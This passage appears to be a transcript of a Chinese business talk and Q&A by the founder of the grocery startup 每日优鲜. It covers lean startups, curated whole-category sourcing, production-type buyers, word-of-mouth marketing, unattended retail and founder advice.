+第二个观点是产品迭代。大家最近很多人都在讲精益创业，甚至业内有一句名言：产品再烂也要尽快上市。我个人是持保留态度的，不是否定也不是肯定，我觉得这句话没有说透，或者说误导了很多人，因为我自己平时也做一些个人投资，我认为精益创业，产品再烂也要上市，那是人家高手的对话，高手的再烂估计放到我们一般人身上，起码有60分。 + +所以我要加一句话：产品再烂，尽快上市，前提是大于60分。第一步产品快速上线想解决的是你对用户需求所有假设的验证，用户有这个需求，一刀插进去能见血，但是你偏偏拿一个男的去试人家喜不喜欢美女，其实有可能那些需求并没有被你验证完，是你的产品真的太烂了。所以，有时候大家需要评估一下，别那么着急上市。 + +每日优鲜可能在精益创业的时候，就做的好一点。我们开始只做一个仓，我自己管。我们用账上那些足够的资源去做，这一个仓一天都不卖，每天备着3万块钱的货全烂了，倒掉，一个月不过赔100万，我们没有上来建100个仓，很多人建了100个仓，实验成本迅速因为100就变大了，放大100倍。 + +所以，通过这件事情，我觉得精益创业是要缩小你的试验范围，最大程度的去充分验证你对用户的需求假设。很多公司耐不住前面的寂寞，因为可能网上新闻也习惯了，什么百城，好像如果数字不大，自己都觉得人生没有意义，其实不是的，很多东西都是从小开始的。 + +你要把一个好的生意做大，这个世界太多的人帮你了，但是你要把一个生意做好，这个世界太多人骂你了，这就是为什么大公司转型的时候，一边转一边被骂。 + +因此，我觉得大家要相信，一开始的时候不要怕生意小，生意做的好是很重要的，好生意要变大的话，这个世界太多的人会帮你了，太多的投资人追着你说这个事情我能不能投。 + +钱有四条腿，人有两条腿，你生意做的对，钱找你你躲都躲不掉，但是你天天追着钱是追不上的，两条腿跑不过那四条腿的，这是我们的一些思考。 + +02．产品策略：全品类精选 + +这也是和别人不太一样的地方。过去的12个季度，3年的时间，我们基本上每个季度增加一个品类，平均是这样的一个速度。有很多人在早期只做水果，做生鲜的80%都做水果，但是这80%里面可能又有80%是只做水果的。 + +做水果意味着客单价30元，30元你怎么送货，确实算不过账来，我们觉得这个生意，黄金的价格区间在50到100元，超过100元的用户频次不够多，因为没有给用户提供随时随地的供应链。 + +家庭可能1、2天消费100元最好，多买几次，这样就永远吃新鲜的。换一个角度说，你要在100元左右的话能盈利，且要让你的单价不要低过50元，因为最后一公里送货，小哥拿5元钱，10个点就没有了，我们的毛利减一下其它的成本，50元以下的订单可能很难挣到钱，这是现状。 + +所以，有了这个思考之后，全品类就是我们这个生意要长出来的另外一种能力。用户有需求，股东算得过账，所以全品类精选就很重要。基于这个，我们一直在做一件事情，产地直采。 + +我们现在有50%以上的商品是直接跟生产者签约的，还有20%、30%是生产者指定一个供应商给我，比如说星巴克的罐装咖啡，是通用公司的。通用公司会说45天到一次船，我说必须是7天，每次进货要新鲜，所以他会定一个供应商，中间做一个连接。 + +还有20%是我们临时采购，因为我们的计划需要有一个市场的调节，保证我们的货源，我们100%做批次的品控。全品类的精选里面就有很多商品的管理，我们认为每个SKU（库存量单位）单品单量，这种方式会更好。 + +例如，Costco（好市多）公司为什么能够在沃尔玛那么强大的情况下，依然获得了极快速的增长，而且切的是沃尔玛最奶油的用户，所有的中产阶级都往Costco迁了很多，就是一点全品类精选。 + +我不卖50种筷子，就3种筷子：塑料、金属、木头，每一种筷子做到极致，性价比做到极致，品质极好，且价格极低，我觉得用户需要的这个。所以，我觉得这是不同生意的理解，就会做出不同的做法。 + +对创业有帮助的结论：很多公司都想做Costco（好市多），真正Costco（好市多）和沃尔玛在内部组织团队最大的不同是什么？ + +2007年我们在美国跟沃尔玛谈合同的时候，我觉得特别有意思，沃尔玛大概上午和我们谈合同一般是这样的： + +我们首先有一个PM（产品经理）会给沃尔玛介绍新一年我们的产品发布计划，几季度发布一个什么新品，整个portfolio（产品组）是什么样的，谈完之后一般沃尔玛的客户经理就会提议，他们感恩节做这个促销，圣诞节做那个促销，然后大概会拿我们呢的某款产品做一款沃尔玛定制的，接着会有一个营销计划，两边再谈一下费用，差不多就谈完了。 + +最关键的是上午跟我们谈完的那个人，下午可能就去跟宝洁谈了，谈牙膏去了，意思就是他今天谈这个，明天谈那个，是一个贸易型的人，我把他叫成贸易型买手，就是买卖能力很强。 + +但是Costco（好市多）不一样，我们和Costco（好市多）谈合同，我只需要带一个财务人员去。因为首先Costco（好市多）会有PM（产品经理）跟我讲， 2018年的CPU型号是这样的，英特尔在这个季度上这个新品，那个季度上那个新品，CPU的型号是什么样，AMD（美国一个半导体公司）的又什么样，就是一个人专门研究CPU。 + +接着第二个人就开始来介绍电脑三大件，比如显示器、Panel面板厂商，2018年的趋势会是这样的，新品是这样的，老品的成本会是那样的，讲完一通。第三个人是研究部件的，会谈内存、硬盘、显卡是什么样，成本如何。 + +三个人讲完了之后，会分析我们家产品是什么样，问能不能拿某个型号，用某个配置给我做一款某样产品，他们希望是怎样的价格，留出怎样利润，然后问我们在成本上能不能做到，我们这边财务开始算账，算完就是Yes or NO。他的人跟我谈完以后，接着开始和CPU开会，所以我把他们定义成生产型买手。 + +所以，我们理解要做全品类精选，你背后的企图心是什么，要有生产型的买手，要直接切入生产环节，你要懂生产，你才有可能跟他对接好，不要找一些贸易型的买手。 + +我们做水果评估一个供应商好不好，天地人园树果六要素要懂。 + +天：天时好不好，气候环境适不适合； + +地：土壤检测结果是什么，适不适合这个物种； + +人：种植者是什么样，是不是一个有现代经营理念公司化的经营者，他在种植品种、种植工艺、种植管理流程能不能做到一定规模； + +园：园区有没有抗老防寒这些灾备设施，因为我们培养一个供应商不容易，但自然灾害不可避免，3、5年的过程中总是会有这样的自然灾害，如果他有这样的投资，意味着我和他之间供应链会很稳定，当别人受灾的时候，我们依然可以很稳定； + +树：树体是什么样，进到一个园区，九点抽样法，横轴、纵轴、随机数抽完就要挖9颗树出来看树根好不好，因为根好树就好，树好果子就不差； + +果：摘下来之后果子的采后处理，比如是怎么预冷的，多长时间能够让它到0至1度，怎样保鲜好，还有后面怎么做等等。这些要素我们实实在在看完了，我们就知道这是一个好供应商。 + +比如北半球还有一个特殊气候，国内叫倒春寒，在2、3月份。倒春寒就是春天到了，暖和一礼拜，所有的植物都得到暖和的信号，开始盛放，然后会有一次降温，早开的花和果就会被打掉。每年这次降温降得越猛烈，果子里整批产量的头果被砍掉的就越多，头果是最早能够获得营养的人，其实是整批果子里身体最好的。 + +倒春寒严重不严重，决定了今年夏天果子质量好还是不好，我们在那个时点看完倒春寒，才会最终结算订单和价格。我们在11月份会看它剪枝条，留多少用来长树体，留多少做果子，果子太多，果子质量就会差。 + +妈妈一次生四胎和生两胎，孩子的重量和品质是绝对不一样的。因此我们的买手都要求具有品类5至10年以上正确生产经验，有经验不行，得是正确的、先进的。所以，这种人做我们的买手，我们就能为大家在全球买到好东西，他们是生产型的买手，且跟生产者直接对接。 + +我们和这些生产者直接对接，只要生产者的东西好，货直接发到我们的一个大仓，剩下的事我们全部做。我们不需要像门店的超市一样，每个生产者对接了之后，还要请一个销售总监，销售总监负责跟他谈进场的合同，特别麻烦。 + +我们既然做这件事，就是要面向优质产品的生产者，让他专心做好产品，别的事不需要。谈完之后是一站式，只要到货，每天进我们仓100%批次检测。只要检测合格，剩下的事就是到点拿钱。就是因为我们思考完了这些东西，我们自己管控，我们就知道建立什么样的方式，能够和他们真正地对接好。 + +这是我们在过去坚持全品、坚持精选的一些实践。 + +这背后和大家分享最干的干货是说，如果你们也有这样的考量，不管你们做线上视频、线上音乐，还是线下想做生鲜供应链的，你的供给侧得想清楚是海量型还是精选型。 + +如果你是精选型的，供给侧的负责人一定要有足够长的生产经验，要选生产型买手而不是选贸易型买手。这是不同的，如果你做海量的东西很多，就找贸易型的，谈完袜子谈牙膏，谈完牙膏谈电脑都可以的，这取决于大家的供应链选择。 + +03．运营策略：社交化和会员制 + +① 营销基础设施改变。本质上就是如果用户觉得你好，他会不会传播。10年前我们做生意的时候，一年做600亿元，可能广告费占10-20亿元。那时候所有的广告公司的提案，包括市场团队的提案都会讲一件事，我们又做调研报告了，新的趋势，新鲜出炉的。 + +比如2018年用户主要从哪些渠道获得信息，10来年看那个报告，肯定第一条是亲朋好友推荐，第二条最早是平面媒体，后来慢慢电视媒体上来了，再后来网络媒体，总之各种媒体渠道。 + +我们当时能做得事是把第一条删掉，我没办法让亲朋好友推荐，无法商业化的一个渠道。但是从2010年开始，移动互联网来了，人被连接了，自媒体时代到来了。这个对用户影响力几千年来都是第一的渠道，首次可以规模化运营。所以， 2010年来在中国高速成长的，让人觉得惊艳的品牌， 99%的或多或少都是社交驱动型的。 + +那时候就开始发生变化了，我们发现老客户比新客户更重要了，老客户的留存很重要，让一个老客户满意很重要，让他惊喜很重要。他会传播，你会获得新客户，所谓流量思维。 + +首次老客户满意度可以给你带来新客户增长了，在整个社会，每一个大公司、小公司都要面对的营销基础设施变了，打仗的武器变了，首次有这种武器了。 + +因此，我们一开始做很多事都是围绕着老客户留存，你满意帮我传播，带来新客户。例如：我们会做一些很基础的事，每日优鲜在今天98%的订单1小时妥投，就是用户下单1小时后送到。 + +其中2%做不到的原因是恶劣雨雪天气，比如前一段时间华东大雪，我们妥投率只有95%，同时我有50%、60%的订单是30分钟内送到的。那么作为品牌操盘手，每日优鲜对外应该是说30分钟到还是1小时到？ + +我特别同意1小时。那么1小时到的坏处是什么？旁边有个说30分钟的，可能我的生意就被他抢走了，因为他说得好听。但是在时间的长河中，我们会产生什么样指数性的变化，选我的100人基本都是满意的，且有60个人得到惊喜，“哇，30分钟就到了”，可能这当中有10个人会发个朋友圈：“每日优鲜好快，30分钟就到了”。 + +所以，我会获得老客户超出满意的惊喜而产出的口碑效应。这个时代满意已经不会有口碑了，人已经经历了自媒体时代的多年洗礼之后，人心也发生着微妙的变化。10个人做生意，一开始3个人选我，我说1小时到，有7个人选择了30分钟，但这3个人中至少有1个人会去分享给他100个朋友，按照10%的转化率我又获得了新的客户。 + +那边7个人会怎么样，一开始7个人选他，但你只有60%的订单说到做到，40%没有30分钟送到。假设后台能力是一样的，那么 40%里大约有5个人会发个朋友圈说：“30分钟还没到，我都等半天了，我还着急出门呢。”人就是这样。 + +所以，我觉得越是在这样一个时代，越要学会用口碑的力量，口碑的力量它慢一点，但是它持久，而且是指数性放大的，坏东西也会指数性的放大。在这个口碑的时代，一定要说到做到，最好做10分说8分，还给了用户超出期待的满意，超出的2分就是惊喜。 + +我觉得这是我们感受很明显的一个，就是营销的基础设施变了，口碑的作用越来越大了，好口碑、坏口碑都是这样。面对这种情况如何做品牌定位的问题，如何做品牌核心利益挖掘和传播的问题，广告已经不那么好使了，口碑越来越重要。 + +② 社交化。用户是会传播，但你有没有给用户传播的内容。用户为什么会转发一个和你相关的东西，我们有一些总结下来的实践经验。 + +几个关键点：有趣、有钱、有货、有情，制造出足够多的适应不同人群需求的内容，你的社交就会放大。 + +我们有很多种内容给用户分享，比如2月4号立春，我们有设计一幅画，下面有一个日签，就有很多人喜欢转这个，还有优惠券。我们发现，90%发到朋友圈的是我们的日签，90%发到微信群的是我们的优惠券。 + +所以你要给出很多内容，去让用户转。有很多做社交的人就在想，我怎么让你转，这是把你的问题解决了，其实你没有想用户为什么转，反过来，用户为什么转呢，有很多需求反而被挖掘出来了。 + +04. 无人零售：水到渠成的发展 + +这是我们目前在做的第四个事，无人零售赛道早期一定会有不同的观点，百花争鸣，百花齐放，才是一个早期赛道的典型特征。每日优鲜也在做无人零售这件事，前不久还拿到了不到2亿美金的融资，在赛道上跑得还算比较快和健康，我们有一些自己做的思考，来和大家分享一下。 + +无人零售这个生意背后是有用户价值的，我看到我们公司的小朋友就在那里买。再往前想，是无人零售比传统零售、社区级更近，近了以后就产生增量消费。增量消费是什么？ + +比如说，我问这个男士吃不吃水果，他回答吃，冬天正好出草莓，但我要是让他去洗一下，他肯定说不吃了，然后旁边这位女士洗完了放在中间，他肯定开始吃了，可能会议还没有结束他就吃完了。 + +所以，喂到嘴边的都会吃，但是当有前面那几个选项的时候就不吃了，无人货架就是这个道理。总结出来就是： + +第一，无人零售更有用户价值。把好的早饭摆在那里，9.9元，一定可以卖好。虽然是一个很朴素的道理，但是背后需要的是庞大的冷链基础设施，建到社区级，所以无人零售的本质是在一个新的增量场景上创造了很多增量消费，当然也有很多存量消费抢了一点。有用户价值，因为太方便了。 + +第二，无人零售作为一个零售业态比传统零售更高效。这里面有两个原因，一是无人零售把建筑物内的闲置商业空间再利用了，因为闲置，所以低房租，甚至零房租，但是它增加了社区级的物流，还要多一段毛细血管的配送，到建筑物级。 + +所以，当你省下的房租成本大于，甚至远大于你毛细血管物流配送成本的时候，这就提高了产业效率。二是省了人工成本，多了盗损或防损的成本，每日优鲜的做法是在办公室内、熟人环境中，我们现在依然看到盗损率就是5%，小于零售的人工成本。 + +其实很像孟加拉国经济学家尤努斯，给当地农村的女性放贷，他的利息比银行的还高，但是坏账远低于银行，没有大数据，只有一个基本的人性洞察：这些女性一方面都有宗教信仰，另一方面有社区连接，所以拿了钱之后如果不还钱，就很难在村里面抬头做人。这就叫商业模式创新。 + +办公室、熟人环境也是这样，人在这些事上已经财富自由到还是要追求一下道德的。当然我们还会走到办公室外，我们在开放环境上用技术的手段、智能柜的方式增加了技术的成本、防损的成本，但是只要比人工成本低就是一个好生意。 + +我觉得判断一个事情成不成立，就是这两个因素：价值和效率。 + +所以，无人零售就算这两本账：它有没有用户价值？和它有没有比传统零售更高效？效率的核心就是对于原有传统零售的房租成本和人工成本是不是更加提升了效率。无人零售这件事，我们觉得在价值上更方便、效率上更高效。 + +第三，无人零售更能做大、更容易规模化复制，也更容易成就100亿美金的零售公司。这是我们一些基础观察。而这所有的所有，都得益于每日优鲜过去在2015年、2016年、2017年这三年所构建的前置仓这样的基础设施和我们的供应链。 + +所以，你看我们的单点销售额是别人的两倍，因为我可以卖水果、卖低温奶，卖很多东西，而不是简单的卖泡面。对于无人货架，我们会在办公区提供很多这样的基于用户需求的早餐、中餐、晚餐、水果、酸奶等等。 + +这里面大部分是我们自有品牌的商品，所以我们的利润也很好，而我们又有前置仓的基础设施，所以我们的配送成本很低。我们到现在为止，所有的无人零售货架总量都是挣钱的。无人零售首先一定是个好东西，而能挣钱的无人零售才是真的好东西。 + +四. 创业三板斧：徐正的创业思考和感悟 + +01. 定方向 + +作为一个公司的CEO或者作为一个创业公司，很重要的一个事情是确定方向。本质就是在一个不确定的商业环境中，选择一个确定的战略，然后找到一种趋势性的东西去投资它。这个世界唯一不变的就是变化，趋势性的才会带来空间的变化，而波动只是周期性的变化。 + +创业的本质就是干这样一件事，但是在这个过程中，大家要处理好两个问题：一个是心态；一个是方法。 + +① 心态方面 + +我观察很多创业者，归纳起来有三种心态：忍受的、接受的、享受的。曾经有一个同事也创业，问我有没有失眠或者有没有焦虑，我回答没有。我原来在大公司做高管也挺好，为什么要出来？ + +就是觉得我的生活太确定了，可以看到60岁的生活，甚至想到死，而且每天有半天时间打高尔夫去想怎么死。我创业就是想要拥抱这样的不确定性，让人生多一些可能，哪怕它不是别人眼中的成功。 + +创业，心态很重要，你所要的不是别人要的那种成功，而是自己的一种选择。你是希望选择确定性还是希望选择不确定性，是希望安全多一点，还是希望变化多一点，因此心态很重要。 + +有两个词，“精彩”和“幸福”。“幸”是一个土字，下面像是个人民币的号，“福”是左边衣字旁，右边是一口田，这是“幸福”两个字。意思就是有点地，有点钱，有衣服穿，还有饭吃，这就叫“幸福”。但是“精彩”，“精”字是一个米字旁，一个青字；“彩”是一个采，一个三撇。 + +米就是物质文明的一种象征，青放在艺术、放在精神领域最早是绘画的一种颜色的集合。所以，“精彩”的“精”字就是代表物质文明和精神文明，“彩”就是拿，你看象形字就好像是一个乞讨的姿势，三就是一生二，二生三，三生万物，三就是多一点，“精彩”就是物质文明、精神文明多经历一点。 + +因此，幸福的人生和精彩的人生有时候可以重合，有时候是分道扬镳的两条路，就是所谓的林中两条路。既然是创业，可能希望选择精彩的人生，可能和幸福就不完全一样。 + +比如说我跟我们家小孩，当然我会努力去让父子关系变的很亲密，但本质上你只能用有限的时间提高质量，这是你没办法的，这是你要选择，要面对的事情。 + +对于焦虑这个问题要回到原点考虑，思考你是一个什么样的人，你想选择什么样的人生，这点很重要。如果是忍受型的，要么调节好，要么早死早超生，否则招一堆人还坑了人家，输不起就不要到牌桌上去。 + +② 三环验证 + +第二个事情就是方法，理性的、感性的、事实的都很重要。有时候你有一个想法，有一种直觉，但是公司越大，做的决定也就越重要，影响越深远的时候，最好还是要三环验证。 + +这里的三环验证是我们内部一个创新的三个环：直觉、逻辑、数据。如果这个事情有一个直觉，那是一个点子，你可以去做，在得到数据结果的验证和商业逻辑推演的验证后，到了直觉、逻辑和数据三环中间那个交集，才是真正值得你all in（全部投入）的事。 + +精彩的人生不是浪，精彩的人生是非常慎重的all in（全部投入）。所以，我觉得一定要在一些重大决策做充分的三环验证。如果这个东西从人性的洞察，数据的事实到商业逻辑的推演，这三方面没有充分验证的时候，慎重all in（全部投入）。 + +每日优鲜做的很多事，都会从这三方面去验证，而且如果坚持刻意的训练自己这样去做重大决定的话，好处就是会吸引别人跟你一起干，能力会突然变强。 + +因为不是所有的人都有这种开放的认知和思维的习惯，有的人就喜欢听感觉，有的人喜欢看事实，有的人喜欢听逻辑，有了这三环验证之后，说服别人相信这件事情的能力就更大了，波谱更宽了。那个时候，这个组织的信仰力会更强，成功率也会提高。 + +02．控节奏 + +在正确的时间做正确的事情。很多创业公司可能把这个事情节奏捣乱了。 + +比如天使阶段：搭一个班子，找到所需要的商业模式；A轮的时候：要磨合一个团队，而不是几个人，核心是要单点充分验证你的商业模式，不要怕它是单点，就怕没有验证； + +到了B轮：要开始扩充组织，需要商业模式一定的规模化； + +C轮以后：需要找专业人士弥补你的短板，那种年薪百万的，有多少来多少，补充你各种短板，像大数据、财务、HR等等的都可以。C轮以前是不需要的，没有拿到1亿美金的融资，就算是把这种人请来也帮不了你，所说的迅速占领核心市场，就是指你在市场中不仅是规模化了，而且有市场地位的状态。 + +所以，我觉得不同的阶段有不同的事，大致总结起来是前期要耐得住寂寞，后面要经得起诱惑。 + +早期确实要耐的住寂寞，不要看有些公司怎么怎么样，每日优鲜2015年的时候才做8000万，2016年做了5个亿，2017年做30多个亿，2018年我们可以做100多亿。2015年，在所有行业都Build to GMV（追求成交总额）的时候，每日优鲜拿到的融资都不止8000万，到2015年年底的时候我们账上还存了很多钱。 + +我们就是建一个仓，单点验证，天天往仓里送货，研究那个前置仓怎么跑通。很多人规模大得多，甚至我们有的股东很着急，问为什么不冲GMV（成交总额），我认为我们面对的是3、5万亿的市场， 10年的改造，要先找到好的东西改造它，核武器很重要。 + +但是很快波动性的资本市场掰过去了，而你在波动性的资本市场中，坚持了趋势性的投资。所以那些追求GMV（成交总额）的，突然有一天资本转身说GMV不重要，要看本质是什么，本质没有的就不好办。 + +所以，我觉得早期一定要耐得住寂寞，不要追随一些波动性的东西，你如果想干一个大事，你的周期很长，你必然要穿越资本的春夏秋冬，甚至是产品周期的春夏秋冬，甚至可能是组织创始人生命的春夏秋冬，才是好公司。 + +我觉得一个公司就是穿越周期的过程，你穿越了多少轮的资本周期、产品生命周期、领导班子的生命周期，这个才是一个更长的品牌、公司去思考的一些基础方法和框架。 + +03．找资源 + +找到志同道合的人和钱是很重要的。在这个过程中有Good money，有Bad money，有Good Man，有Bad Man，找对人找对钱很重要。 + +① 找志同道合的人 + +在找人方面，我认为要借假修真，就是做任何一件事情都要去想到在这件事情之后，你的组织有没有成长，一定要把你所经历的所有战斗，看成你锻炼队伍的一场一场战斗，起码领军人要这么想，要知道比山头更重要的是你打山头的队伍。 + +所谓人比地重要，就是这个意思，人在地就在。还有是修身齐家治国平天下，这是我特别喜欢的一句话，我觉得男子汉大丈夫，一辈子应该是这样的人生格局，但是小时候喜欢的是身、家、国、天下这种格局，但是现在创业，我反而觉得那个修、齐、治、平这四个字用的太好了。 + +第一个“修身”，“修”就是坏了你才要修，所以一个人修身就是看到自己的不足。作为CEO，反省能力远大过你的起点，原来多厉害都不重要，每一天能进步才最重要，所以我觉得这种反省、修身很重要。 + +如果任何一个人，你在他身上都看不到可学、可取、可用的地方，绝对不是这个人没用，是因为你的格局、胸怀、眼光看不到，限制了你的智慧而已。你在你的对手、客户、伙伴每个人身上看到了什么，学到了什么，修身是这么一个过程。 + +第二个是“齐家”，一个公司的核心班子，一定是志同道合，能力互补，背景不同的。一个组织要多元，在合适的时候要鼓励你的班子决策，而不是一言决策。 + +一件事情你告诉他怎么干，晚上他睡一觉，睡得饱满了第二天早上起来干，和这件事情你告诉他，想好了明天来干，他要想一晚上，这个心力是不同的，他的成长也是不同的。 + +所以，你到底是激发了一个人的心力、脑力还是体力？体力就是告诉他明天早上8点这么干，激发他的心力就是扔了一个题给他，让他想一晚上明天干。因为大家不同，还要有齐的过程，求同存异的过程，哪些是原则性的必须一样，哪些是可以放的，这个齐家的过程很重要，这样才能像家人，这个公司才会好。 + +第三是“治国”，公司大了以后就要讲制度、规矩，这个时候小善积大恶，什么时候能够开始建立规则化的组织。最后是“平天下”，这个平字也用的好，就是打天下，你永远和对手一个高度，打天下永远和对手在一个战场，你没有俯视，只有看透了，俯冲的时候就是平天下，我觉得这个是好生意，说明你的战略先进。 + +还有一个很重要的观点，就是打造一个进化型的组织。从CEO开始，到整个班子，公司每一天是不是在成长，要相信这种进化力其实是一个组织的终极竞争力。 + +我觉得腾讯的进化力就很强，无论是组织的进化，还是产品的进化，所以我觉得进化力可能是一个公司、一个商业组织最核心、终极的竞争力，这个能力有的话，别的什么能力都是可以再找出来的。 + +② 找趣味相投的钱 + +创业，没有钱肯定是万万不能的，但是钱绝对不是万能的。资本的作用是放大一个好产品的成功，加速一个好产品的成功，同时也会放大一个坏产品的失败，加速一个坏产品的失败。所以，资本的作用是什么呢？ + +本质上是加速器和放大器，但是它不能改变好坏的本质，不改变一个团队、产品好坏的本质，所以我觉得钱一定不是万能的，并不能把负数变成正的，把坏的变成好的，它只能产生量变能力。 + +要找趣味相投的钱，你们能走的很远还很愉快，还是要反向的对所有你的投资机构多做一些备调，这是平等的。我觉得人就跟佛法一样，你跟任何人都是平等的时候，你不高于别人，也不低于别人，你无我也无他的时候，可能生意就做得很舒服、从容，起码你内心很平和、安静和快乐。 + +③ 胜利者同盟 + +比如说我们的便利购就把这个圈子里能找的钱都找完了，一下子我们就拿了赛道足够的钱，这个可能很重要。要学会合作，而这里面很多投资机构是当年看我们每日优鲜之后并没有投的。 + +我从来都是一家一家找这些公司，当年我错过这些公司，是因为那一年的我还不够优秀，你依然是很厉害的投资人，我今年又有一个新的公司，你能不能投呢？大家都觉得还有一个能参与到每日优鲜的投资机会，当年也错过了每日优鲜，两年前就聊过，所以不管是谁错过谁，还有可以投的。 + +所以，我觉得和所有人做朋友，不要去觉得别人欠你的，其实他没有投你，可能帮助了你当天晚上的反思，他为什么没有投我，肯定是我哪儿不对，我觉得也是一种帮助，不是给了你钱是帮助你，我觉得用感恩的心面对所有人的时候，你的朋友会越来越多，这个很重要。 + +谢谢大家！ + + +同问1：从您的视角来看，谁是现在每日优鲜真正的竞争对手？比如是同类的本来生活、京东到家还是跨界的游戏或者知识付费、其他的品牌？ + +徐正：我觉得每日优鲜的竞争对手看什么维度，我觉得现在看肯定是一些落后的满清遗老遗少，也就是传统零售，那肯定是我们的对手，因为我们首先在推翻它。所以，只要现在和我们一起推翻它的，现在看都是我们的伙伴。 + +但推翻完以后，要看是什么阶段。用辩证的方式，长期看来，我们认为是有竞合，我觉得这个世界未来不是只有竞争，还有很多合作，还是一种竞合的关系，今天竞争多一点明天可能合作多一点，后天又竞争多一点。 + +而且每日优鲜到今天为止是一个只有三年的公司，它未来还有很多的空间和发展。所以，我觉得不太好界定我们现在竞争对手是谁。或者换个角度说，能入我们法眼的我觉得也到了智慧法门了，不会单纯的只看竞争，我觉得这个世界未来是竞合的，这是我们一个观点。 + +当然要说传统的那些，满清遗老遗少那是两个时代的事。其实也不是我们是它对手，它跟时代有关系，什么也没做，这就是时代决定的。 + +同问2：徐老师，每日优鲜在生鲜类目的选择上是怎么考虑的，为何从水果来入手，到现在有海鲜的类别吗？你怎么看盒马生鲜、7Fresh？ + +徐正：这个问题很多，品类上我们从水果入手是因为我原来买的果园最多，我们也没想那么多。对于盒马和7Fresh，我觉得现在有一股浪潮就是走到线下去。有一些人在线上已经获得了足够的份额，这个份额的基础上再获得边际增长的成本太高了，比如阿里在电商已经做得半壁江山了，它再要获得太难了，就要去线下。 + +就像微信10亿用户了，要让用户在中国再获得增长确实会比较难，所以它要把用户质量提高。我觉得这里面很重要的是它要获得新用户的增长，这是它最核心的目的。 + +我觉得对于不同的公司做生鲜，开店确确实实有它的企图心。总体来看，现在线上营销成本还是低于线下的，但跟早些年不一样，早些年是线上做得差的都比线下做得好的红利高，但是现在开始出现了交叉，所谓交叉就是在线上总量特别大的人，份额特别高的人，边际增长成本高于线下了，比如小米、阿里。还有一种是线上烂产品太多了，导致成本也变多了。 + +因此，我觉得总体看，线上对线下还是有竞争力优势的。只不过原来那种优势不再是那么绝对性的，最差的都比最好的强，现在已经有交叉了，这是我们现在的判断。另外，我觉得大佬做一些事，肯定有其他所图，就好像腾讯最近为什么投了一堆这样的公司，投我们公司A轮、B轮、C轮，便利购又投，一直投。 + +还投了很多线下，最近很密集地买了很多东西。我觉得大佬在做这个事上，可能另有所图。所以那些不是大佬的人，千万不要随便学大佬动作，你其实可能另有所图图不着，这可能是某一些大佬的战略高明之处吧。 + +同问3：平台要求是一个高质低价的商品，但是所要求的价格已经低到无法保质了。所以为了拼价格，平台可以默认保底价可以不保质（应该是个别平台）。对于进口冻肉行业，消费者如果没有专业的识别技能，很难识别冻肉的品质，最后造成一个恶性的循环，这种情况你怎么看？ + +即使选择以充好的方式降低成本，也完全违背了一种新零售的初衷。这位学员是澳洲第一大羊肉生产商和第四大牛肉生产商，他们就是供应链本身，所以他们非常清楚，平台要求的价格只有低级别的肉才能达到要求，所以他们尝试提供一些高品质的真正好肉，同时已经做到同级别的低价格，但是却没有平台的支持，因为这样的产品没有办法帮他们拼流量。这样的局您看怎么破？ + +徐正：我们跟有的平台不太一样，因为有的平台生意是流量大，所以每个人没有在那日常购买，反正就是人多，今天这一批订单撮了一批人，下一次又撮另一批人，满不满意不管，复购率、回头率很差。 + +我们是靠复购、老用户满意来做的，所以他们买的话，就是天天在我们这买，我们很追求品质的，这是第一点。然后追求品质的前提下，我们再追求极致的低价，这是我们要做的事情。所以，你刚刚讲的这个事，我一听，典型的就是原来流量思维的冲爆款，我们不是这样的，这是我的判断。你要问我为什么平台这样，我很难评论了，你要问它。 + +从我们的角度来讲，就是东西好，因为吃的东西是这样。我们实实在在自己做了很多数据，最简单一件事，因为我原来自己也有蓝莓的农场，我们蓝莓到了果季出来以后9.9元一盒，因为就我自己农场地里的，中间没有环节，9.9元我还能挣钱，接着我说再卖狠点，我也不挣钱了，4.9元试一下。 + +同样的蓝莓，隔了一个礼拜，第二个礼拜4.9元，9.9元两盒，投诉多的不得了。什么意思？就是你这4.9元，就是酸，这个跟上周不一样了，我也不知道哪儿不一样，所以我的感受是，现在用户的心理买东西不太追求低价，低价的话他也觉得不好，我觉得用户在日常买东西还是不傻的，我觉得用户比我们聪明。所以，我们是这样的，你就实实在在的把东西做好了，你说清楚哪儿就好了。 + +现场提问1：不好意思，我是第一次来现场，我可能问的问题是您分享的创业主要就是线上的产品，我有这样的一个问题，我有一个朋友是做房地产代理的，现在政策对房产市场的打压，导致很多的房产代理公司，或者是房产中介濒临倒闭，这种情况下，您是不是建议他们放弃，或者是改行呢？可能和现场听的内容不太一样，但是这个确实是我的一个问题，不好意思，谢谢大家！ + +徐正：有两个选择我觉得都很好，坚持也很好，改行也很好，但是我觉得不取决于他做什么样的选择，房地产再不好，也会留下来伟大的公司和企业，我觉得核心还是要看他的本源，就是他的竞争力充不充分，但是如果他在房地产这一波行业里面没有核心竞争力的时候，确实要再去思考，当然你转行了是不是还有核心竞争力，我觉得这是我的观察，其实不会有烂的行业，只有烂的公司，或者是好的公司。 + +我觉得每一行都会有好和不好的，你说白酒好不好，白酒有茅台那么好的公司，你说苹果做手机这种公司做硬件好不好，市值都快万亿美金了，我看还有很多不好的在华强北挣扎。 + +所以，我觉得每一个行业，如果是讲大的方向，房地产、零售、农业行业，我觉得哪种选择都值得选，或者是不选，其实你和行业的选择和这个行业的景气度不太一样，因为毕竟你不是在做多元化的投资，你是个人拿生命、时间做一件事。 + +所以，关键是你进到那个行业以后，你能不能默默游到前端，因为行业的头部在哪个行业都不差，但是行业的尾部在最好的行业也很差，所谓价值链的顶端。我确实不了解具体情况，很难给你特别贴切的回答，但是我只能说泛泛的说行行出状元，关键是看你是不是状元。 + +现场提问2：您好，徐老师，我问的问题是刚才你也在强调用户复购的话，其实是靠口碑产生的，我们发现很多公司之前会大规模的烧钱去做广告和营销，刚才你在谈的时候，你对广告营销这块的理解是更多的会去做口碑。我的问题是不是像我们这种新崛起的公司，会把营销费用更多的用在口碑营销上面，比如说公关、微博、微信上，而更少的去做市场宣传层面，大规模的曝光。在这个策略上，你认为这是一个趋势吗？ + +答：我是这么看的，不同的生意品牌的力量在中间是不一样的，我觉得我们是做一个国计民生的基础零售设施，所以我觉得你的核心服务，商品服务、价格很重要，这些东西好，产品好，才产生了品牌。 + +所以，我觉得如果把品牌拆解成两个字的话，一个是品，一个是牌，我们做零售的产品，给社会提供了产品和服务就是你的商品服务、购买方式、价格，东西基本面要好，然后再说牌子，人家觉得你好，知道你好，所以我觉得有的生意牌的驱动力很高，有的生意品的驱动力很高，但是长期看，我觉得现在中国未来这些年，可能从某种角度进入了产品为王、营销为术的时代了，在大的消费升级浪潮中，供给侧过剩，结构性的不匹配的大环境下，好东西还是很重要的，这是第一个观点。 + 